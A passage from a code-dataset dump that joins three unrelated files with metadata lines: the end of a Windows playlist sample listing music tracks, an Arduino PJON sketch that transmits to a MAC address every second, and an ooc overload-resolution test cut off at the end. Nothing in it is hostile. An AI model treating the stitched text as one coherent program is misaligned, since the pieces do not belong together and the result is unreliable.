<media src="C:\Users\Public\Music\The Fray\How to Save a Life\03 How to Save a Life.wma" serviceId="{371B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="How to Save a Life" trackArtist="The Fray" duration="263599" />
<media src="C:\Users\Public\Music\James Blunt\Back to Bedlam\03 Wiseman.wma" serviceId="{15FE5000-0100-11DB-89CA-0019B92A3933}" albumTitle="Back to Bedlam" albumArtist="James Blunt" trackTitle="Wiseman" trackArtist="James Blunt" duration="222800" />
<media src="C:\Users\Public\Music\Stevie Wonder\A Time to Love\14 Positivity.wma" serviceId="{BF975000-0100-11DB-89CA-0019B92A3933}" albumTitle="A Time to Love" albumArtist="Stevie Wonder" trackTitle="Positivity" trackArtist="Aisha Morris" duration="307159" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\12 Your Misfortune.wma" serviceId="{214A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="Your Misfortune" trackArtist="Mike Doughty" duration="186226" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\01 Sea to Sea.wma" serviceId="{71064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Sea to Sea" trackArtist="Matisyahu" duration="247279" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\08 I Hear the Bells.wma" serviceId="{194A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="I Hear the Bells" trackArtist="Mike Doughty" duration="259199" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\04 The Cosmic Game.wma" serviceId="{879F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="The Cosmic Game" trackArtist="Thievery Corporation" duration="139226" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\09 Exaltation.wma" serviceId="{81064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Exaltation" trackArtist="Matisyahu" duration="417666" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\14 Audio Delite at Low Fidelity.wma" serviceId="{EDD33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Audio Delite at Low Fidelity" trackArtist="Black Eyed Peas" duration="329346" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\02 Warning Shots.wma" serviceId="{839F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Warning Shots" trackArtist="Gunjan" duration="302159" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\11 His Truth Is Marching On.wma" serviceId="{1F4A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="His Truth Is Marching On" trackArtist="Mike Doughty" duration="216492" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\04 Good People.wma" serviceId="{090C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Good People" trackArtist="Jack Johnson" duration="208506" />
<media src="C:\Users\Public\Music\Beck\Guero\10 Go It Alone.wma" serviceId="{93BB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Go It Alone" trackArtist="Beck" duration="248840" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\02 Chop 'Em Down.wma" serviceId="{73064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Chop 'Em Down" trackArtist="Matisyahu" duration="243226" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\03 Believe.wma" serviceId="{1FDA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="Believe" trackArtist="The Chemical Brothers" duration="421546" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\09 Older.wma" serviceId="{42D87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Older" trackArtist="Slightly Stoopid" duration="219732" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\10 Marvo Ging.wma" serviceId="{2DDA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="Marvo Ging" trackArtist="The Chemical Brothers" duration="328132" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\12 Close My Eyes.wma" serviceId="{87064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Close My Eyes" trackArtist="Matisyahu" duration="266586" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\01 Holiday from Real.wma" serviceId="{FF014D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="Holiday from Real" trackArtist="Jack's Mannequin" duration="178700" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\10 Grey Ghost.wma" serviceId="{1D4A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="Grey Ghost" trackArtist="Mike Doughty" duration="195039" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\03 Summer Skin.wma" serviceId="{879F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="Summer Skin" trackArtist="Death Cab for Cutie" duration="194226" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\06 Dark Blue.wma" serviceId="{F3014D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="Dark Blue" trackArtist="Jack's Mannequin" duration="251935" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\13 Ba Bump.wma" serviceId="{E7D33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Ba Bump" trackArtist="Black Eyed Peas" duration="236852" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\02 What If.wma" serviceId="{D7AB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="What If" trackArtist="Coldplay" duration="297040" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\10 They Don't Want Music.wma" serviceId="{E5D33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="They Don't Want Music" trackArtist="Black Eyed Peas" duration="406839" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\09 Sol Tapado.wma" serviceId="{919F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Sol Tapado" trackArtist="Patrick De Santos" duration="237533" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\05 Talk.wma" serviceId="{DDAB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="Talk" trackArtist="Coldplay" duration="311253" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\02 Never Know.wma" serviceId="{050C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Never Know" trackArtist="Jack Johnson" duration="212812" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\11 Till It Gets Wet.wma" serviceId="{44D87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Till It Gets Wet" trackArtist="Slightly Stoopid" duration="157759" />
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\02 Over My Head (Cable Car).wma" serviceId="{331B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="Over My Head (Cable Car)" trackArtist="The Fray" duration="238333" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\02 The Mixed Tape.wma" serviceId="{01024D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="The Mixed Tape" trackArtist="Jack's Mannequin" duration="194907" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\06 Sitting, Waiting, Wishing.wma" serviceId="{0D0C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Sitting, Waiting, Wishing" trackArtist="Jack Johnson" duration="183719" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\06 Your Heart Is an Empty Room.wma" serviceId="{919F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="Your Heart Is an Empty Room" trackArtist="Death Cab for Cutie" duration="219359" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\11 Disco Club.wma" serviceId="{79AF3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Disco Club" trackArtist="Black Eyed Peas" duration="228172" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\08 Situations.wma" serviceId="{110C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Situations" trackArtist="Jack Johnson" duration="77213" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\06 American Car.wma" serviceId="{154A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="American Car" trackArtist="Mike Doughty" duration="282400" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\05 Satyam Shivam Sundaram.wma" serviceId="{899F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Satyam Shivam Sundaram" trackArtist="Gunjan" duration="247399" />
<media src="C:\Users\Public\Music\Beck\Guero\12 Rental Car.wma" serviceId="{97BB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Rental Car" trackArtist="Beck" duration="186080" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\09 Sake Break Bounce.wma" serviceId="{2BDA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="Sake Break Bounce" trackArtist="The Chemical Brothers" duration="224692" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\12 Don't Care.wma" serviceId="{45D87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Don't Care" trackArtist="Slightly Stoopid" duration="279132" />
<media src="C:\Users\Public\Music\James Blunt\Back to Bedlam\06 Out of My Mind.wma" serviceId="{1BFE5000-0100-11DB-89CA-0019B92A3933}" albumTitle="Back to Bedlam" albumArtist="James Blunt" trackTitle="Out of My Mind" trackArtist="James Blunt" duration="212893" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\13 Basher.wma" serviceId="{46D87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Basher" trackArtist="Slightly Stoopid" duration="151573" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\08 Close Your Eyes.wma" serviceId="{29DA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="Close Your Eyes" trackArtist="The Chemical Brothers" duration="373973" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\04 Different Names for the Same Thing.wma" serviceId="{8B9F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="Different Names for the Same Thing" trackArtist="Death Cab for Cutie" duration="308506" />
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\04 All at Once.wma" serviceId="{3B1B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="All at Once" trackArtist="The Fray" duration="228572" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\14 Constellations.wma" serviceId="{1D0C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Constellations" trackArtist="Jack Johnson" duration="201639" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\02 Unsingable Name.wma" serviceId="{0D4A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="Unsingable Name" trackArtist="Mike Doughty" duration="257799" />
<media src="C:\Users\Public\Music\Beck\Guero\02 Qué Onda Guero.wma" serviceId="{83BB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Qué Onda Guero" trackArtist="Beck" duration="209306" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\09 Low.wma" serviceId="{E5AB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="Low" trackArtist="Coldplay" duration="332092" />
<media src="C:\Users\Public\Music\Unknown Artist\Break Stuff\01 Break Stuff.wma" serviceId="{7D518100-0500-11DB-89CA-0019B92A3933}" albumTitle="Break Stuff" albumArtist="Limp Bizkit" trackTitle="Break Stuff" trackArtist="Limp Bizkit" duration="166532" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\11 Swallowed in the Sea.wma" serviceId="{E9AB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="Swallowed in the Sea" trackArtist="Coldplay" duration="238960" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\11 Heights.wma" serviceId="{85064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Heights" trackArtist="Matisyahu" duration="203985" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\07 Beat Box.wma" serviceId="{7D064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Beat Box" trackArtist="Matisyahu" duration="305333" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\02 Babylon Is Falling.wma" serviceId="{3BD87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Babylon Is Falling" trackArtist="Slightly Stoopid" duration="145892" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\07 Left Right.wma" serviceId="{27DA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="Left Right" trackArtist="The Chemical Brothers" duration="254612" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\05 Come Inside.wma" serviceId="{23DA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="Come Inside" trackArtist="The Chemical Brothers" duration="286226" />
<media src="C:\Users\Public\Music\James Blunt\Back to Bedlam\01 High.wma" serviceId="{11FE5000-0100-11DB-89CA-0019B92A3933}" albumTitle="Back to Bedlam" albumArtist="James Blunt" trackTitle="High" trackArtist="James Blunt" duration="243692" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\02 Soul Meets Body.wma" serviceId="{839F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="Soul Meets Body" trackArtist="Death Cab for Cutie" duration="230906" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\03 Warrior.wma" serviceId="{75064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Warrior" trackArtist="Matisyahu" duration="478799" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\10 Hardest Part.wma" serviceId="{E7AB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="Hardest Part" trackArtist="Coldplay" duration="265039" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\10 Brothers on a Hotel Bed.wma" serviceId="{779F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="Brothers on a Hotel Bed" trackArtist="Death Cab for Cutie" duration="271132" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\05 My Humps.wma" serviceId="{D5D33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="My Humps" trackArtist="Black Eyed Peas" duration="326959" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\01 Better Together.wma" serviceId="{030C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Better Together" trackArtist="Jack Johnson" duration="207679" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\07 Someday You Will Be Loved.wma" serviceId="{979F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="Someday You Will Be Loved" trackArtist="Death Cab for Cutie" duration="191372" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\02 Don't Phunk With My Heart.wma" serviceId="{CFD33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Don't Phunk With My Heart" trackArtist="Black Eyed Peas" duration="239773" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\13 Til Kingdom Come [Hidden Track].wma" serviceId="{EDAB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="Til Kingdom Come [Hidden Track]" trackArtist="Coldplay" duration="250652" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\01 Marching Bands of Manhattan.wma" serviceId="{7F9F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="Marching Bands of Manhattan" trackArtist="Death Cab for Cutie" duration="252560" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\08 Kill the Messenger.wma" serviceId="{F7014D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="Kill the Messenger" trackArtist="Jack's Mannequin" duration="204335" />
<media src="C:\Users\Public\Music\James Blunt\Back to Bedlam\05 Tears and Rain.wma" serviceId="{19FE5000-0100-11DB-89CA-0019B92A3933}" albumTitle="Back to Bedlam" albumArtist="James Blunt" trackTitle="Tears and Rain" trackArtist="James Blunt" duration="244252" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\04 Don't Lie.wma" serviceId="{D1D33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Don't Lie" trackArtist="Black Eyed Peas" duration="218999" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\04 Hold Tight London.wma" serviceId="{21DA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="Hold Tight London" trackArtist="The Chemical Brothers" duration="360146" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\08 Crooked Teeth.wma" serviceId="{719F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="Crooked Teeth" trackArtist="Death Cab for Cutie" duration="203733" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\09 Sunken-Eyed Girl.wma" serviceId="{1B4A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="Sunken-Eyed Girl" trackArtist="Mike Doughty" duration="203959" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\12 Bebot.wma" serviceId="{7BAF3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Bebot" trackArtist="Black Eyed Peas" duration="210200" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\04 I'm Ready.wma" serviceId="{05024D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="I'm Ready" trackArtist="Jack's Mannequin" duration="235263" />
<media src="C:\Users\Public\Music\Beck\Guero\07 Hell Yes.wma" serviceId="{8DBB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Hell Yes" trackArtist="Beck" duration="197905" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\07 Ambicion Eterna.wma" serviceId="{8D9F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Ambicion Eterna" trackArtist="Thievery Corporation" duration="223932" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\07 Nothin Over Me.wma" serviceId="{40D87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Nothin Over Me" trackArtist="Slightly Stoopid" duration="80146" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\05 White Lexus.wma" serviceId="{134A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="White Lexus" trackArtist="Mike Doughty" duration="140972" />
<media src="C:\Users\Public\Music\James Blunt\Back to Bedlam\04 Goodbye My Lover.wma" serviceId="{17FE5000-0100-11DB-89CA-0019B92A3933}" albumTitle="Back to Bedlam" albumArtist="James Blunt" trackTitle="Goodbye My Lover" trackArtist="James Blunt" duration="258226" />
<media src="C:\Users\Public\Music\Beck\Guero\03 Girl.wma" serviceId="{85BB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Girl" trackArtist="Beck" duration="209892" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\11 Into the Airwaves [-].wma" serviceId="{FD014D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="Into the Airwaves [*]" trackArtist="Jack's Mannequin" duration="249707" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\11 Stable Song.wma" serviceId="{7B9F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="Stable Song" trackArtist="Death Cab for Cutie" duration="222480" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\07 Miss Delaney.wma" serviceId="{F5014D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="Miss Delaney" trackArtist="Jack's Mannequin" duration="224072" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\05 King Without a Crown.wma" serviceId="{79064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="King Without a Crown" trackArtist="Matisyahu" duration="288599" />
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\12 Trust Me.wma" serviceId="{591B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="Trust Me" trackArtist="The Fray" duration="202826" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\06 The Big Jump.wma" serviceId="{25DA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="The Big Jump" trackArtist="The Chemical Brothers" duration="283946" />
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\01 She Is.wma" serviceId="{2F1B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="She Is" trackArtist="The Fray" duration="238893" />
<media src="C:\Users\Public\Music\Beck\Guero\01 E-Pro.wma" serviceId="{81BB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="E-Pro" trackArtist="Beck" duration="202359" />
<media src="C:\Users\Public\Music\Beck\Guero\08 Broken Drum.wma" serviceId="{8FBB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Broken Drum" trackArtist="Beck" duration="269760" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\10 If I Could.wma" serviceId="{150C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="If I Could" trackArtist="Jack Johnson" duration="144986" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\03 Bruised.wma" serviceId="{03024D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="Bruised" trackArtist="Jack's Mannequin" duration="242787" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\09 Gone Going.wma" serviceId="{E1D33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Gone Going" trackArtist="Black Eyed Peas" duration="193919" />
<media src="C:\Users\Public\Music\Beck\Guero\09 Scarecrow.wma" serviceId="{91BB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Scarecrow" trackArtist="Beck" duration="255666" />
<media src="C:\Users\Public\Music\Beck\Guero\11 Farewell Ride.wma" serviceId="{95BB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Farewell Ride" trackArtist="Beck" duration="258746" />
<media src="C:\Users\Public\Music\James Blunt\Back to Bedlam\09 Cry.wma" serviceId="{21FE5000-0100-11DB-89CA-0019B92A3933}" albumTitle="Back to Bedlam" albumArtist="James Blunt" trackTitle="Cry" trackArtist="James Blunt" duration="246413" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\20 Open Road.wma" serviceId="{4DD87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Open Road" trackArtist="Slightly Stoopid" duration="384266" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\03 My Style.wma" serviceId="{75AF3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="My Style" trackArtist="Black Eyed Peas" duration="268440" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\08 Feel It.wma" serviceId="{77AF3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Feel It" trackArtist="Black Eyed Peas" duration="259345" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\06 X&Y.wma" serviceId="{DFAB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="X&Y" trackArtist="Coldplay" duration="274146" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\16 Waiting.wma" serviceId="{49D87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Waiting" trackArtist="Slightly Stoopid" duration="174959" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\04 Busting Up a Starbucks.wma" serviceId="{114A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="Busting Up a Starbucks" trackArtist="Mike Doughty" duration="259160" />
</seq>
</body>
</smil> | Zimpl | 3 | windows-development/Windows-classic-samples | Samples/Win7Samples/winui/shell/appshellintegration/PlaylistPropertyHandler/Sample2.zpl | [
"MIT"
] |
#define PJON_INCLUDE_MAC
#include <PJONSoftwareBitBang.h>
// <Strategy name> bus(mac address of the network interface)
const uint8_t mac[6] = {2, 3, 4, 5, 6, 7};
const uint8_t rx_mac[6] = {1, 2, 3, 4, 5, 6};
PJONSoftwareBitBang bus(mac);
void setup() {
bus.strategy.set_pin(12);
bus.begin();
PJON_Packet_Info info;
info.header = bus.config | PJON_MAC_BIT;
memcpy(info.rx.mac, rx_mac, 6);
bus.send_repeatedly(info, "B", 1, 1000000); // Send B to MAC 1,2,3,4,5,6 every second
}
void loop() {
bus.update();
};
| Arduino | 3 | jcallano/PJON | examples/ARDUINO/Local/SoftwareBitBang/BlinkTestMAC/Transmitter/Transmitter.ino | [
"Apache-2.0"
] |
kalamazoo: func ~Int (a, b: Int) -> String { "Int" }
kalamazoo: func ~Double (a, b: Double) -> String { "Double" }
check: func (result, signature, expected: String) {
if (result != expected) {
"Fail! expected (#{signature}) to call ~#{expected}, but got ~#{result} instead." println()
exit(1)
}
}
main: func {
check(kalamazoo(1.0, 1.0), "Double, Double", "Double")
check(kalamazoo(1.0, 1), "Double, Int", "Double")
check(kalamazoo(1, 1.0), "Int, Double", "Double")
check(kalamazoo(1, 1), "Int, Int", "Int")
"Pass" println()
